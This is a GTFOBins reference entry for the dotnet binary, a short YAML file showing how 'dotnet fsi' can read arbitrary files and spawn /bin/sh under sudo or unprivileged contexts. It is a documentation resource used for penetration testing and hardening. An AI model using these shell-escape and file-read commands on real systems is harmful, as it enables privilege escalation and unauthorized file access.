1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/dotnet
2026-01-02 22:46:43 +01:00

18 lines
317 B
Plaintext

---
functions:
file-read:
- code: |-
dotnet fsi
System.IO.File.ReadAllText("/path/to/input-file");;
contexts:
sudo:
unprivileged:
shell:
- code: |-
dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
contexts:
sudo:
unprivileged:
...